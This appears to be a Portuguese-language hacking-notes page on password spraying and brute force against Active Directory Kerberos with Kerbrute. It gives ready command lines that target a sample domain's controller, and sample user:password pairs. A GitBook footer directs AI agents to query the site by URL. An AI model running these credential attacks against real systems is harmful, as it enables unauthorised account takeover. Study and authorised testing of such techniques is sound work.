> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/active-directory/kerberos/password-spraying-with-kerberos.md).

# Password Spraying com Kerberos

### Princípio

**Spraying de senhas** consiste em testar a mesma senha em vários usuários.

Ao contrário de um brute force clássico, evitamos testar muitas senhas em uma única conta, o que reduz o risco de bloqueio da conta.

### Password spray com Kerbrute

Exemplo com uma senha específica:

{% code overflow="wrap" %}

```bash
kerbrute passwordspray -d whoami.local --dc dc01.whoami.local usernames.txt 'Password123'
```

{% endcode %}

Este comando testa a senha `Password123` em todos os usuários listados em `usernames.txt`.

<figure><img src="/files/7dd4b511a39d019795787ad85dd6e2e697dbc7d7" alt=""><figcaption></figcaption></figure>

### Brute force em um usuário específico

Se quisermos testar várias senhas em um usuário específico:

{% code overflow="wrap" %}

```bash
kerbrute bruteuser -d whoami.local --dc dc01.whoami.local passwords.txt Administrador
```

{% endcode %}

Aqui, `passwords.txt` contém uma lista de senhas.

<figure><img src="/files/be5e814680696a54431c927f94b2a8cb4ed68cbf" alt=""><figcaption></figcaption></figure>

### Brute force com pares usuário/senha

Também podemos usar um arquivo contendo pares no formato:

```
username:password
```

Exemplo:

```
Administrator:password12345
Jordan:hello1453
user1:Password123
```

Ordem :

{% code overflow="wrap" %}

```bash
kerbrute bruteforce -d whoami.local --dc dc01.whoami.local user_pw_file.txt
```

{% endcode %}

<figure><img src="/files/b66569761569640776b3602bfcbe57d427598dd2" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/active-directory/kerberos/password-spraying-with-kerberos.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
